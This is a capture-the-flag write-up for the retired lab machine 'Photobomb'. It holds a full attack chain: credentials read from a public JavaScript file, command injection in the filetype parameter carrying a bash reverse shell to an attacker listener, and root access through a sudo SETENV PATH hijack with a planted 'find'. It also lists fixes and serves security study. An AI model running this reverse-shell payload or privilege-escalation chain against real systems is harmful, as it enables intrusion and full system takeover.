Photobomb
Summary
I found that the Photobomb Ruby/Sinatra web application, reverse-proxied by nginx, hard-coded HTTP Basic-Auth credentials inside a publicly accessible JavaScript file served before any login prompt. Using those credentials to reach the /printer management panel, I appended shell commands to the image file-type POST parameter, which the server passed unsanitized to a shell, producing a reverse shell as the application user 'wizard'.
A sudo rule then allowed 'wizard' to run a root-owned cleanup script with full environment inheritance (SETENV) and no password, while the script invoked the 'find' binary by name rather than absolute path. Planting a malicious 'find' binary in /tmp and overriding PATH via the SETENV flag caused root to execute my own code, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service-version scan against the two open ports.
$ nmap -Pn -sV -p 22,80 $TARGET
22/tcp open ssh OpenSSH 8.2p1
80/tcp open httpAdd the vhost to local DNS resolution.
$ echo "$TARGET photobomb.htb" | sudo tee -a /etc/hostsConfirm the application homepage loads under the vhost.
$ curl -si http://photobomb.htb/Exact commands 1
Retrieve the public JS file and read the embedded credentials.
$ curl -s http://photobomb.htb/photobomb.jsFixRemove credentials from client-side JavaScriptHigh
Exact commands 1
Authenticate and inspect the photo-download form.
$ curl -si -u "$PASSWORD2" http://photobomb.htb/printerExact commands 2
Start a listener on my machine before sending the payload.
$ nc -lvnp 4444Inject a bash reverse shell after the semicolon in filetype; replace $ATTACKER_IP with your listener IP.
$ curl -si -u "$PASSWORD2" -X POST http://photobomb.htb/printer --data-urlencode 'photo=eleanor-rabbit-holy-matrimony.jpg' --data-urlencode "filetype=jpg;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1" --data 'dimensions=3000x2000'FixValidate and sandbox the filetype parameter — never concatenate user input into shell commandsCritical
Exact commands 1
Read the user flag from within the wizard shell.
$ cat /home/wizard/user.txtExact commands 2
Enumerate sudo privileges from the wizard shell.
$ sudo -l
(root) SETENV: NOPASSWD: /opt/cleanup.shRead the cleanup script to identify the unqualified 'find' call.
$ cat /opt/cleanup.shFixRemove SETENV from the sudo rule and use absolute paths in every cleanup scriptCritical
Exact commands 4
Create a malicious 'find' that sets the SUID bit on bash.
$ echo 'chmod +s /bin/bash' > /tmp/find && chmod +x /tmp/findRun the cleanup script as root with /tmp first in PATH; root executes /tmp/find.
$ sudo PATH=/tmp:$PATH /opt/cleanup.shOpen a root shell via the now SUID-flagged bash binary.
$ /bin/bash -pRead the root flag.
$ cat /root/root.txtExposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |